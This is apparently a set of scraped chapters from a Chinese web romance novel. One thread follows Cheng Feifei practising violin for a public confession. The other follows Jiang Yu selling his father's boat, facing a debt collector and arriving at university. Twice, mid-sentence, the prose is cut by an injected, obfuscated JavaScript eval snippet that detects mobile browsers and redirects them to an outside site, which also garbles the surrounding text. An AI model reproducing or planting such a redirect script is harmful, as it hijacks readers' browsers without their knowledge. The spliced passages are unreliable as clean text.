他忽然觉得,这卡上的反光就和姚安琪脸上的眼影一样,上蹿下跳,不可一世。 姚安琪笑盈盈地说:“我已经报名啦,而且……我舅舅说,这点费用不算什么的。他可以出钱,让我们俩一起去。李泽昱,你说好不好?” * 程霏霏一觉睡到日上三竿,腰酸背痛地坐起身,瞄了一眼周围。 对面,任可心霸着黎玥的床,还在呼呼大睡。 在家睡了一夏天的kingsize大床,骤然回到学校这一亩三分地,还真有点不习惯。 程霏霏顺着床梯爬下来,在寝室中央伸了个大大的懒腰。 正午的阳光已经跃过阳台,洋洋洒洒地铺了满地。 新闻传播学院的宿舍是标准的四人间。大一报道的时候,除了播音系的程霏霏和新闻系的黎玥,本来还有另外两个传播学的室友,不过她们一个中途出国,一个因病退学,就只剩下程霏霏和黎玥独享一室。 任可心的宿舍靠近北边,离这边有一段距离,却偏偏喜欢过来蹭床。日子久了,黎玥不得不多备了一套铺盖,专门用来待客。 程霏霏敲了敲任可心的床板:“起来了,吃早……午饭去。” 任可心刚从梦中转醒,眯缝着眼,不情不愿地坐起身,迷迷糊糊地套上一件长袖衫:“黎玥呢?” “八成去图书馆了。”程霏霏叼着牙刷,口齿不清地漱口,“你以为谁都跟咱俩似的,能睡到中午。” 两个人呵欠连天地去食堂吃饭。 正排着队呢,程霏霏收到李泽昱的微信:【程学妹,我明天有点私事,搬宿舍的约定暂时取消,抱歉。】 这条信息的语气重新又客气了起来,令程霏霏不爽地噘了噘嘴。 任可心伸长脖子,八卦地问:“又被放鸽子啦?” “要你管!”程霏霏忿忿地收起手机。 “我早说了,姓李的不靠谱。”任可心咬着筷子,慢条斯理地指了指墙上的海报,“瞧瞧,新生马上就要入学了,聪明的啊都先下手为强,去捡嫩草啃了。你倒好,还扒着个老学长不放,真是想不开!” 程霏霏打眼望过去,那是一张迎新艺术节的海报,正在面向全校征集节目。 主办方一栏,写着校学生会和校社联。 她忽然想起,昨天和李泽昱吃饭的时候,他似乎提到过,下一步的工作重点之一就是要忙这个艺术节的事。 程霏霏呆愣片刻,灵机一动:“可心,我有一个想法!” 她一把将还在排队的任可心揪出来,走到那张海报跟前,指着它说:“暗着来不成,就来明的。” 任可心还一头雾水呢,程霏霏却仿佛已经下定了十足的决心,语气斩钉截铁:“我决定,要对李泽昱正式告白!” “……” “我程霏霏告白,定然要轰轰烈烈的。”程霏霏一瞬不眨地凝视着墙上的海报,眼睛里迸发出昂扬的斗志,“我要去参加学长负责的这个活动,在艺术节的晚会上,当着全校师生的面,对他表白。” 任可心吓得脸都白了:“怎么参加?难不成,你要去给这台晚会当主持人?” 程霏霏不屑地剜了她一眼:“主持是我的专业,太没挑战性了,别小瞧我。” 她环着胳膊,唇角微翘,眼睛里闪耀着势在必得的光辉。 “为了彰显我的诚意,我一定要挑战一件自己原本不擅长的事情。让学长看到,我为了他,能多么努力。” 想到这个完美的计划,程霏霏忍不住一脸得意。她拿出手机,给程皓南发微信:【哥,你抽空把我的小提琴送到学校来。】 程皓南:【?】 接下来,只需要花点时间练习便好。 程霏霏想,她一定会带给李泽昱一场难忘的定情盛宴! 站在海报前,程霏霏把上面的文字仔仔细细地通读了个遍,将时间和报名的注意事项一应牢记于心。 目光扫过“新生”两个字的时候,她短暂地顿了顿,总觉得好像忘记了什么重要的事情。 ……管他呢,先顾好眼下的“大计”再说! * 程皓南的琴送得非常快,吃完午饭不久,程霏霏已经坐在寝室里,开始拨弦调音了。 手里的小提琴通体棕红,琴身做工精细,带着漂亮的木纹,一看就价格不菲。 虽然好久没拉了,琴弦和琴弓依然散发着松香的气息。轻轻一拨,声音如泉水叮咚,从指间倾泻而出。 程霏霏像模像样地端起琴,试着拉了一段曲子。 刚刚还声如天籁的乐器,一到程霏霏手中,顷刻间就变成了木头锯子,发出咬牙切齿的摩擦声。 半首曲子下来,程霏霏被自己的拉锯声折磨得头疼,心虚地想,幸亏此刻宿舍里没别人,只有她一个受害者。 话说,程霏霏对小提琴上头,还是高二暑假的时候。 她从帝都回来,忽然就吆喝着要学琴。只可惜,找了老师,买了好琴,没拉几天就开学了。 整个高三,她忙于学业,一直练得断断续续。直到高考结束后,才算正儿八经学了个入门。 目前的水平实在非常有限,可程霏霏不气馁。她要短时间内速成,去艺术节的晚会上贡献一场盛大的独奏,用琴声对心仪的对象表白,好将人一举拿下。 在她的认知里,没有什么比这个方式更诗意、更浪漫、也更加适合李泽昱了。 又锯了一会儿木头,程霏霏给自己吵得头晕眼花,手臂也酸疼不已,不得不放下小提琴。 她找出手机,连上蓝牙音响,开始播放圣桑的《影子与回旋随想曲》。 悠扬舒缓的旋律在寝室里回荡,疗愈着耳朵刚刚遭受的创伤。 这是她当年第一次见到偶像——著名小提琴家羽婷老师,在自己的演奏会上所演绎的曲目之一。 身为国内首屈一指的小提琴演奏家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006506|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,羽婷老师人到中年,不仅桃李满天下,还有众多令人耳熟能详的代表之作,其中就包括那首由她丈夫作曲、她本人独家演奏的同名单曲《雨停》。 那首曲子,以及其他多首经典的小提琴曲目,一直都在程霏霏的播放列表上占据着一席之地。 程霏霏身边的人都惊讶过,她这样一个自由不羁的年轻女孩,竟然会听古典音乐。 程霏霏从没对别人解释过,那个夜晚,她第一次踏入演奏会的大厅,茫然而彷徨地听完一场音乐盛宴时,内心无与伦比的震颤。 音乐响起的一刻,时间仿佛凝固了,所有的喧嚣与纷扰都被隔绝在外。程霏霏的心头泛起无所适从的动容,好像把短暂的一生重新活了一遍。 徜徉的旋律就如破云而出的阳光,直直地照进她的心底,将内心深处那些支离破碎的愤怒和恐慌一一击碎,在音乐的涤荡下,化为涓涓细流,温柔地涌向四肢百骸。 仿若一场重塑与拯救。 程霏霏自记忆中抽离出来,从椅子里起身,抹了一把滚至下颌的泪水。 心中有一道声音,叫嚣着、催促着她,快些把琴练好,然后去那个场合表明心意。 她要告诉李泽昱,她找了他很久,想要当着他的面,将谢意与爱意一并诉说。 程霏霏拿起小提琴,重新练了起来。 这一练,就是一个月。 期间,江城大学也迎来了开学的日子。老生们热闹返校,新生如潮涌至,校园里每天人来人往,连乍起的秋风都夹带着蓬勃的生命力。 而程霏霏两耳不闻窗外事,一心只顾着练琴。 她把接下来两个月的日历打印出来,贴在床头,还给艺术节晚会的那天标了个大大的红心,仿佛备战考高一般,规划着练习的进度。 当然,以她的水平,关起门来死磕是不成的,需要请老师指点。 好在程霏霏人脉颇广,拐着弯认识了一个音乐学院的学生。对方虽然是学声乐的,但对小提琴也有所涉猎,指点一下她这个外行也不是不行。 不仅如此,小老师还给程霏霏介绍了一处免费的练习室。地点在音乐学院的旧楼,靠近后街一带,有一间闲置的音乐教室,可以供她使用。 黎玥听说之后感动坏了,慷慨地请小老师连喝了三天奶茶,说是感谢她对程霏霏的授业之恩。 然后每天像恭送佛爷一般,欢送程霏霏出门练琴。 这一个月以来,程霏霏每天在寝室里锯木头,锯得黎玥的血压蹭蹭往上蹿,疑心自己年纪轻轻就患上了头晕眼花、耳鸣心悸的怪病。 程霏霏一出走,黎玥头也不晕了,耳也不聋了,寝室里的日子终于又回归了蓝天白云、鸟语花香。 而程霏霏在日复一日的勤奋练习中,竟然真的逐渐脱离了锯木头的阶段,慢慢开始上道。 她选择的曲子是《RememberOurSummer》,不是很难,硬练就能成。关键是旋律好,节奏快,耳熟能详。 曲名还非常意有所指的,意图怀念一场盛夏——  ethesun 太阳升起  etherain 雨滴落下 Iwillwaiteveniftheseasonschange 即使四季不停变化我也会一直等候 Iknowyou''llflyaway 我知道你会离我远去 Needtoholdyouformyself 必须将你紧紧抓牢 Willweevermeetagain 我们还能否再相见 I''llescapefromallthesechains 我会挣脱所有的枷锁 Pleaserememberoursummers 请铭记我们共同的夏天 9. 09 杜溪县人民医院。 一大早,护工王婶动作麻利地伺候完楼上的孙奶奶穿衣吃饭,擦好了嘴,围兜一撂,就急吼吼地往楼下的外科病房跑。 推门进去,最里间的那张床铺已经收拾得整整齐齐,一尘不染,仿佛压根没有人住过。 王婶喘着粗气,指着空床问周围的人:“住这床的小伙子呢?” “你说小江啊?”隔壁床的大爷笑呵呵地道:“他今天出院,人已经走了。” “哎呦!”王婶苦着脸,拍着大腿叹气,“我真是造孽呀……” “咋的了?” “这小江吧,有个很宝贝的纸片,这么大小一个……”王婶边说边比划着,“好像写了人家姑娘的电话号码,怪要紧的。结果呢,我老眼昏花的看不清,打扫卫生的时候,一不小心就给扔了!这不,害得他联系不上人家姑娘了。” 王婶想,那姑娘细皮嫩肉的,长得挺好看,当初谈活的时候,出手也很大方,价都没讲。 可惜,那天以后,就再也没有来过。 苦了小江,每天都在这里等。直到他出院,也没有把姑娘盼来。 大爷摇了摇头,安慰道:“行啦,你也不是故意的。小江这孩子不错,人又年轻,自然有他的缘分。” 王婶表情忸怩,语气里满是遗憾:“我这不是……毁了他的姻缘,怪不好意思的。所以我就想着,把我侄女介绍给他嘛。我侄女长得可水灵了,不比那姑娘差哩!” 旁边看热闹的大姐忍不住了:“什么不好意思,你分明就是看中人家小江长得好!别说,那天拆了线之后,我一瞧,哎呦喂,这辈子没见过这么俊的小伙儿!” 王婶的心思被戳破,老脸一红,心里觉得更遗憾了。 她拿钱办事,照顾小江这些时日,没事就在心中琢磨,这孩子长得可真好看,跟个小明星似的。 受了这么重的伤,竟然一直没有人来探望。 谁家的父母如此狠心,这么漂亮的孩子都能不要? 王婶摇了摇头,唉声叹气地上楼,回去继续照顾孙奶奶了。 * 江风疏阔,正午的日头映在水面上,波光粼粼,像撒了一把碎锡纸。 前几天刚下过雨,平时还算清澈的江面变得暗淡苍黄,泛着铁锈般的浑浊。 江羽站在岸边,任江风将额发吹得纷乱。他还是刚出院时候的打扮,胳膊上还吊着未拆的绷带。 秋雨送凉,天气明显湿寒了不少。 昨天出院的时候,隔壁床的大爷看他穿得单薄,匀给他一件洗脱了色的长袖衫。他也不嫌弃,道了谢就套在身上。 头发有日子没剪,已经有些长,盖住了眼睛。江羽抬起那只完好的手,随意一拨,露出白皙饱满的前额。 岸上的芦苇随风轻荡,有草絮飞出,浮浮沉沉地盘旋一段,停在了手中的绷带上。江羽盯着那节草絮愣神,不知在想些什么。 “你就是要卖船的那个?”身后走来两个人,步子吊儿郎当的懒散。 江羽回过头,冷淡应道:“是我。” 来人叼着一根大前门,常年风吹日晒的黝黑皮肤,操着浓重的异乡口音:“船主是解成坤啊,你不是解成坤吧?” “我是他儿子。” 来人夹烟的动作一顿,“唔”了一声。 另一个人没说什么,当即下了江,淌着水流迈上船,开始四处查看。 过了好一阵子,他才回到岸边,和同伴嘀嘀咕咕了几句,似乎对船的状况还算满意。 “船上的东西,连同江上捕捞的名额,一并卖给你们。就按电话里谈好里的价格,今天签字。” 两人一听,立即面露喜色。 船本身不值什么钱,值钱的是捕鱼证。 这年头,下江的口子越收越紧,很少再有新证能办下来。杜溪当地的渔民全凭世袭,外来户很难分一杯羹。 其中一人有些不放心地问:“跟你交易,不会出什么岔子吧?毕竟你也不是船主……” “船主本人现在在牢里蹲着,出不来。”江羽慢条斯理的,声音像飘散在江上,淡得如同在谈论一个毫无关系的人,“船你们用,生意你们做。等他出来,黄花菜都凉了。” 都是粗人,不认识几条法律,对纸面上的东西也没有多在意。二人略一合计,觉得可行。 反正船是儿子卖的,老子要是出来找船,先找自己儿子,横竖不关他们俩的事。 这桩买卖就这么成交了。 临走的时候,江羽回过身,最后看了一眼停泊在江滩上的船只。 他曾经听解成坤提到过,家里祖祖辈辈都是江上的渔民,年轻的时候,也有过那么一段安生日子,跟着江羽的爷爷下河捕鱼,养活一家老小。 可是自从爷爷去世,这条船就三天打鱼、两天晒网,成了解成坤不务正业的铁证。 直到两年前,才被江羽重新拾掇出来,正经下了水。 江羽不会打鱼,初来乍到的时候,甚至还有点晕船。可是他需要吃饭,需要交学费,这艘船让他养活了自己。 他用最短的时间,认清了整条江里常见的鱼虾。然后跟着同样打鱼的村民,学习如何下网,如何收网,如何处理打结的网兜…… 每天天不亮,在晨光仍旧熹微、江水尚未苏醒的时候,江羽就摸着黑起床,撑船下水,去捞上一网。 与其说是实力,倒不如说,他运气还算不错。江水非常温柔地接纳了这个新来的年轻捕手,让他每次多多少少,总能有所收获。 他将打上来的鱼虾放在铁皮桶子里,然后赶在朝阳升起之前,来到村口的小广场上,同河鲜贩子们讨价还价。 这是整个渔村最热闹的时候。 鱼贩子们开着风尘仆仆的小皮卡,将每只铁皮桶里的鱼称重,再一股脑儿倒进车斗的大水箱里。计算器按几下,就结算出了江羽一天的所得。 江羽将带着体温的纸币小心翼翼地收进书包内层,再裹着满身的河腥气,赶去学校上课。 往往会错过早自习。 年级主任教了一辈子书,最讨厌的就是江羽这种长相出众的转校生。根据他丰富的教学经验,这种大城市回来的学生往往很不安分,总有些离经叛道的歪心思,一定会把县中学这一池静水搅合得鸡犬不宁。 所以,哪怕江羽犯下再小的过错,只要被他揪住,就会狠狠地罚站,以正视听。 有一回,江羽被抓到旷了第一节课,被年级主任当成违纪典型,在全校大会上当众点名批评。 台下站满了学生,黑压压的一片。 江羽背着手,垂头站在台上,年级主任拿着话筒,在一旁声讨得慷慨激昂。 他恨不得引经据典,把那些社会渣滓的事迹翻来覆去念叨个遍,每句话都充满暗示,仿佛江羽注定会长成一个游手好闲的街溜子,重复这个渔村里大多数人祖祖辈辈的庸碌命。 主任一顿输出完毕,轮到江羽发言做自我检讨的时候,却发现这小子耷拉着一颗脑袋,站着睡着了。 年级主任大发雷霆,眉毛都气歪了,要不是当着全校师生的面,早已经一脚踹了过去。 他拿着扩音喇叭大吼:“少壮不努力,老大徒伤悲!”这才堪堪把打瞌睡的人震醒。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006507|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 可是,这样一整套组合拳下来,江羽始终无动于衷。该怎么样还是怎么样,早自习从来不上,偶尔晚自习也缺缺勤。 年级主任折腾累了,况且,一直都联系不上他的家长。所作所为没有任何反馈,他便懒得再拿这不成器的小子当典型。 后来,他逐渐发现,江羽是个挺奇怪的人,和以前那些外面来的转校生都不太一样。 他很安静,上课的时间只是沉默地看书,不怎么听讲。一到课间就睡觉,基本不和同学相处。 而且,因为穷到离谱,且身上常年带着些莫名其妙的河腥气,隐隐还有被班上学生孤立的苗头。 年级主任便也懒得管,听之任之了。 后来听说,晚自习下课的时候,会有社会上的小混混把江羽堵在学校后面的巷子里推搡、或者言语威胁。他一打听才知道,江羽的爸爸似乎得罪了不少人。 他还是没管。 直到高三模拟考的成绩出来,年级主任大吃一惊,仿若被人扇了一记响亮的巴掌。 江羽的分数一骑绝尘,把之前的年级第一甩出去快一百分。 明明在那之前,他的成绩一直温温吞吞,毫不显山露水。 主任的肠子都悔青了,心说这个帝都来的小子,真是高手过招,无招胜有招——不是考不了高分,而是想考几分,就考几分呐! 平时也不是低调,只是不屑罢了,压根看不上咱们这土鳖学校,包括他这个有眼无珠的年级主任! 当然,如果江羽知道这位老师心中所想,大概会为自己鸣冤。他哪里是不屑,他是真的没空去在意那些。 每天为生活奔波,赚钱加学习耗光了他所有的力气。十几岁的江羽第一次过这种生活,拼尽全力才咬牙挺下来,也挺得很累、很勉强。 所以,高考结束以后,相比光芒万丈的帝都名校,江城大学拓知的全额奖学金对他有着实打实的吸引力——他真的很需要钱。 况且,他并不打算回到帝都去。 此刻,站在熟悉的江边,江羽最后一次回望这只陪伴了自己一年多的渔船。 灰褐色的船底已经生满了斑驳的锈迹,随着江水的波纹荡漾起伏。 船上,才修补了没多久的渔网堆在角落,旁边是他用惯了的手套和铁皮桶。 江羽知道,船舱的储物箱里还有一盏充电的阅读灯。在无数个清晨和黑夜,灯光穿过湿漉漉的水雾,将他从昏昏欲睡的麻木中唤醒,翻开书本,打着呵欠往下读。 书上的字,也随着波涛律动起伏,高低有致,令他联想到熟悉的五线谱…… 江羽晃晃脑袋,将那些不合时宜的记忆赶走。 他从没有见过自己的爷爷,却打心眼里感激这个打了一辈子鱼的老头。谢谢他给了风雨飘摇的自己一条船、一处栖身之所,让他撑过了人生中最艰难的一年。 他多么想留下这条船,可是他没有办法。 浑黄的江水打着涟漪涌来,刮擦着伸入水底的枯枝,发出哗啦哗啦的轻响。 这规律的音波和平日别无二致,如同催眠的白噪音,一遍又一遍地冲刷过江羽年轻而疲惫的灵魂。 可是今天听来,又有些不一样。这泽被一方水土的江流,好像在同一个后生安静地道别。 江羽默默别过视线。 清风乍起,胳膊上的草絮飞舞着向高空曳去。 刚回来的时候,他还觉得这里山寒水冷,满目疏萧。没想到,在告别的这一刻,江风竟然夹带着一丝暖意,给他的记忆画上了一道温柔的句点。 江羽转过身,消失在漫天纷扬的芦苇絮中。 10. 10 夕阳渐沉,隔壁县城的汽修铺子里,胖子王鹏正在费劲地拆卸一只五菱宏光的爆胎。 豆大的汗珠顺着脸上的横肉蜿蜒而下,被他随手一抹,变为几道黑痕,撇在肥厚的腮上。 时间不早,门前这条出城的国道上车流稀疏。王鹏想,应该没有客人再上门了,正要去前头把卷帘门放下来,一个意想不到的身影走进了店里。 “江,江羽?”王鹏目瞪口呆。 看着眼前活生生的人,王鹏心头火起,刚搁下的扳手又重新抄了起来。 “你他妈的真是嫌命长,还敢自己送上门来!” 江羽站在几步之外,吊着一只胳膊,另一只手里提着一只黑色塑料袋。 “砰”一声,袋子扔在了胖子脚边。 “解成坤欠你的钱,我可以还。这是八万,剩下的以后补给你。” 王鹏眯了眯眼,怀疑地弯下腰去检查塑料袋:“呦,今天太阳打西边出来了,你小子竟然愿意掏钱了?” 江羽的眼角耷着,脸上冷漠到没有一丝多余的神情。 他似乎用尽了耐心,再次重复那已经车轱辘了无数遍的话:“解成坤的债务与我无关,我没有义务替他还钱。” “嘴硬吧你就,这还不是老实还了?” “我有个条件。” 江羽声调平静,眼神轻蔑地打量了一圈这间脏兮兮的铺子,直看得对方快要恼羞成怒,才重新绕回到王鹏脸上。 “我要你那天抢走的耳环。” 王鹏回忆了好半天,才想明白他指的是什么——那天,有个小姑娘忽然跑出来横插一脚,临走的时候,其中一个雇来的混混趁乱抢了她的东西。 一群人干完一票就各奔东西了,谁还记得那个耳环在哪儿? “太久了,老子找不来!”王鹏干脆耍赖,一屁股坐在地上,开始点钞票。 江羽仍旧面无表情,看上去毫不惊讶。他不慌不忙地从口袋里拿出一只优盘,半蹲下身,举到胖子眼前。 “这是那天晚上,你聚众殴打我的证据。” 王鹏点钱的动作定住了。 江羽抬了抬嘴角,脸上却一丝笑意也没有,随意地将优盘抛起又接住:“你说,它能让你进去待多久?连这点钱,是不是也得给我赔回来?” 王鹏一惊,赶紧解释:“耳环是……是那女的主动要给的!” 江羽撩起眼皮看了他一眼,神色冰凉,更多的是不屑。 王鹏一个头两个大——这的确不像正常小女孩会干的事,警察大概不会信。况且,当时那个距离,监控录不下那个妞儿的豪言壮语,倒是把最后抢东西的画面拍了个结结实实。 江羽问:“听说过抢劫罪吗?” 王鹏坐在地上,脸憋得通红,脑筋实在转不过来更多弯弯绕绕。 最后,只能硬着头皮答应:“……我想起来谁拿的了,我可以去要。” 江羽点了下头:“一个月之内。你知道怎么找我。” 说完,转身便要走。 王鹏也从地上爬起来,手忙脚乱地追着他出了铺子。 自从江羽回到杜溪,王鹏三番五次地找茬,带人骚扰了他好几回,他都没什么反应,像个逆来顺受的傻子。 偏偏这一次,大老远跑过来还钱,还变着法子要挟他,竟然只是为了一个耳坠? “我告诉你,你挨的那些打都是活该!谁让你是那个畜牲的儿子!” “父债子偿,天经地义!法律也不能不认!” “你有什么了不起的?就是个被人扔在孤儿院的野种!当年,要不是看在你那么可怜的份上,我才不会罩着你呢!你就活该被他们打死!” “你那个妈真是瞎了眼,才会——” 江羽忽然顿住脚步,转过身,沉默地盯着他。 王鹏心虚地噤了声。 他觉得,江羽此刻的目光有点瘆人,像盘桓在夜里的黑豹,按而不发,却已经牢牢锁定了他的咽喉。 仿佛只要他再说一句,这小子就会扑上来,和他同归于尽。 王鹏默默地咽了口唾沫。 似乎过了很久,王鹏的嘴巴都咂干了,江羽的目光才和缓下来,整个人又恢复了那种病恹恹的木讷和漠然。 他依旧耷着眉眼,慢吞吞地说:“骂一句,钱少一万。” “……” 王鹏悻悻地闭了嘴,瞪视着江羽离开的背影,直到彻底看不见。 越想越气,自己刚才竟然被那小子慑住了,简直是奇耻大辱! 他在屋子里转了好几圈,无处发泄,抬手将卷帘门一撸到底,砸出一阵噼里啪啦的乱响。 * 秋风裹着满地的落叶和小广告,在半空中转着圈起舞。 日暮西沉,家家户户门窗紧闭。整条巷子漆黑一片,放眼望去,只有巷口的小卖部悬着一盏昏黄的灯泡,将窗户上的胶带照得蜡黄。 最后一位顾客推门而出,嘴里叼着一包方便面。 江羽被迎面的凉风吹得缩了缩脖子,这江边地界,晚上还真有点冷。 一整天没吃东西,好像已经挨过了那股子饿劲儿。 他在小巷的石阶上缓缓坐下,撕开方便面的包装。这时,身后的草丛里响起些窸窸窣窣的动静。 江羽回头看去,鸡窝似的一团枯草中,竟然钻出一条流浪狗。 狗很瘦小,不知道是年纪小,还是饿得长不大。身上长满了驳杂的黄毛,参差不齐的,一看就是不值钱的串子。 干枯的黄毛下,几块秃皮若隐若现,不知是得了皮肤病还是受了外伤,一根毛也没有。 它抖了两下鼻子,使劲嗅了嗅方便面的气味,很想上前,又在江羽的目光中怯生生地后退了一步。 江羽面无表情地和狗对视了半晌。 他将面饼一掰两半,自己一半,另一半捏成小块,放在了台阶上。 狗子会意,壮着胆子上前,开始舔吃方便面。 江羽吃完了自己的一半,抖了抖手中的面渣,站起身,只身往巷子深处走去。 穿过一条黑长的石板路,就到了那晚被狠揍一顿的地方。江羽的面上没有丝毫起伏,脚步未停,来到一家小店跟前。 说是小店,充其量就是一道狭窄的门头。 外墙很老旧,只头顶的招牌泛着新色,上书“冯氏糖藕”几个字。 江羽敲了敲门板,一个年轻姑娘探出头来,看到江羽,不可思议地回头喊:“妈,江羽哥回来了!” 紧接着,一个中年妇人步伐急促地迎了出来,高兴到几乎带着颤音:“小羽吗?你可算回来了!这些日子你去哪儿了?哎呦,你这胳膊是……” 江羽客气地笑笑:“冯姨,没什么大事,路上被车刮了一下,住了几天院。” 听到是车祸,冯惠珍吓了一跳,赶紧把江羽拉进门里左右检查。又怕他肚子饿,打发女儿去把后厨里的剩菜热一热。 江羽的确有些饿了,也没推辞。两个人在餐桌边坐下,江羽埋头咬了一口包子,抬眼就看到冯惠珍难过的神情。 “好好一个孩子,怎么折腾成了这样。唉,都是我的错……” 冯惠珍说着说着,竟然开始抹眼泪。 “要不是因为我,你也不至于回到这破地方来,受这份苦……” 江羽一听,也顾不得吃了,将咬了一半的包子搁下,宽慰道:“冯姨,以前的事情都过去了,我现在也很好。” 冯惠珍勉强笑了笑:“当年你那么小一只,跟个小萝卜头似的,是福利院里所有孩子中最矮的。爸一直跟我念叨,让给你多盛饭,就怕你长不高。没想到,转眼就长这么大了!” 她示意江羽继续吃饭,又把唯一带肉的那盘菜往他跟前推了推。 “可惜啊,爸走得早,没能再见上你一面……自从你被领养以后,他天天念叨,怕你在新家不适应,怕你受委屈。后来有一年,他难得有机会去帝都开会,还专门去学校偷偷瞧了你一眼。” 江羽惊讶地抬起头,他并不知道这件事。 “回来就说,你过得特别好!在一众小朋友当中,穿着漂亮的校服,打着领结,小脸白得像一颗发光的水煮蛋。” 冯惠珍想到这番话,也被逗笑了。 “那条件,总归是咱们小渔村的福利院比不了的,他也就放心了。” 冯惠珍又深深看了一眼江羽打着绷带的胳膊:“他要是知道你后来的难处,肯定要护着你的。那家人也真是,怎么就舍得……” 江羽忽然打断她:“冯姨,谢谢您和冯老师对我的照顾。” 冯惠珍看着他,有些欲言又止。 刚要再开口,外面忽然响起拍门声,女孩的脑袋探进来:“我爸回来了!” 冯惠珍的表情瞬间僵住,再顾不上聊天,连忙拉起江羽,推着他往后院走。 江羽站在院子中央,看着她匆匆赶回大门口,搀扶着醉醺醺的丈夫进来坐下,耳边响起他声如洪钟的抱怨: “是不是那个小子又来了?你说你,咋就谁都往家里捡呢!” “小羽又不是旁人……” “不是旁人?他爹是解成坤你不知道?名声臭得很!有那么个爹,儿子能是什么好货色!我跟你说最后一次,别让我在这个 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哪知,老院长已经病故了,他女儿一家在经营这间糖藕铺子。 冯惠珍一见到他,说什么也不让走,非留他住下,逮着机会便要回忆江羽小时候的旧事。 那些事情,江羽其实大多都记不清了。 印象最深的,反倒是离开福利院的那天。 江羽回忆着往事,很快收拾好了不多的换洗衣物。给冯惠珍留了张字条,感谢她这几个月的收留。 再出来时,院子里已经一片寂静,冯家三口人都睡了。 整座院子悄然无声,只余风送来莲藕的清香。漆黑的夜空中挂着一弯细月,没有星星。 江羽看着这月亮,记忆顺着惯性信马由缰,竟一时没有刹住车,不管不顾地冲破了自己定下的“不准回忆”的铁律,如开了闸的流水,一股脑全部涌了出来。 他不由想起,有一年,他在帝都的郊外参加夏令营,和同学悄悄逃出宿营地,跑去山谷里玩寻宝。 那天的夜空和今晚如出一辙,没有星星,不辨方向。 两个人走着走着就迷了路,在林子里转悠了一整夜,搞得狼狈不堪。直到第二天凌晨,才精疲力竭地回到营地。 刚走进去,就看到几位民警陪着妈妈守在他的帐篷前,在等他。 妈妈明显哭过,几缕头发黏在脸颊上,没有化妆。 看到他,几乎疯了一般地冲过来,将他捞进怀里。 江羽惊讶地抬起双手,安抚地拍了拍妈妈的后背。 那年他十二岁,已经是个大孩子了。被妈妈当着这么多人抱,有点害羞,想挣脱,偏又挣脱不了。 那个怀抱太紧,箍得他呼吸都困难。 很久之后,妈妈才放开他,抬起自己的袖口去擦他占满灰尘的小脸。 擦着擦着,却忽然生起气来,狠狠拧上他的耳朵,高声呵道:“我看你还敢不敢乱跑!” 江羽吱哩哇啦地讨饶,声音响彻整个营地。 不仅如此,回到家之后,江羽又被他爸狠狠收拾了一顿。罚三个月禁足,每天放学就回家,哪儿也不准去。 甚至到了高中,家里都一直有门禁,只对他一人有效,晚归则死。 此刻,江羽独自站在院子中央,背着一包行李,即将趁夜离开这个生活了一年多的小县城。 没有家人的眼泪,没有欢送的祝语,只有天边的月亮安安静静地注视着他,送上又冰冷、又温柔的抚慰。 一如他走失在树林里的时候。 只是这次,前方不会再有期待他的人。 江羽紧了紧背包的肩带,轻声带上院门,踏进晦暗的巷子。 墙角处,那只蹭了他半包泡面的流浪狗蜷缩在阴影里,看到他,立刻摇着尾巴,颠颠地迎了上来。 江羽有点惊讶,弯下腰,摸了一把狗子的头:“你怎么在这儿?” 狗子看上去十分开心,不停拱着他的手求抚摸,还时不时弯着身子去蹭他的腿,草叶黏了一裤管。 江羽逗弄着它,嘴角露出一丝苦笑:“你也没有家么?” 小家伙睁着一双圆溜溜的眼珠回望他。 江羽叹了口气,将狗头揉了个彻底,站起身,抬脚往前走。 “来吧,如果不嫌弃方便面的话。” 狗子仿佛能听懂人话一般,摇着尾巴,欢快地跟了上去。 浓白的雾气弥漫开来,一人一狗消失在湿漉漉的夜色中。 11. 11 身为拓知学院大一新生的民选班长,裴一舟自入学起,就成为了辅导员的得力干将。 尤其在军训期间,他充分发挥了刚正不阿的带头精神,把偷奸耍滑、伪造病假的破坏分子揪了个遍,一律毫不留情地上报。 其中就包括他的室友兼好哥们,项凡。 项凡为此非常委屈:“咱们班请假的人又不止我一个!” 说着,指着上铺的空床道:“这里还有个至今没露面的呢,你怎么不管!” 裴一舟托了一下眼镜,表情严峻,丝毫不为所动:“导员说了,人家是真有病。” “我看你才有病!” 项凡抓着对方的衣领,咆哮道:“你以为出卖战友就能平步青云了吗?你错了!刘邦杀了韩信,江山还不是要拱手让给项羽?” “挺新鲜的历史。”一道淡淡的调侃声自门口响起。 项凡和裴一舟齐齐转头。 只见一个高高瘦瘦的男生站在宿舍门口,背着黑色双肩包,一只胳膊上缠着绷带,吊在胸前。 看着有点病体单薄,一张脸却出尘得好看,仿佛白玉雕出来的。茶色的瞳仁泛着水亮的清润,看向人的时候,又似镀了层无机质的冷釉,令人无端觉出一丝距离感。 一身廉价的打扮,却难掩周身清湛的气质。 扭打的二人直接看呆了。 裴一舟轻咳一声,挣脱项凡的钳制,试探地问:“项羽……哦不,江羽同学是吧?” 江羽点了点头,算是打过招呼,推门走进来。 项凡上前,一胳膊将碍事的裴一舟支开,冲江羽挥挥手:“嗨,我是睡在你下铺的项凡。苍天啊,你长这样,我503室草的名头岌岌可危啊!” “放心,室草还是你的。”江羽一拍对方的肩膀,将背包放下,转头对裴一舟说:“田老师让我来找班长取所有的教材,你是班长吧?” 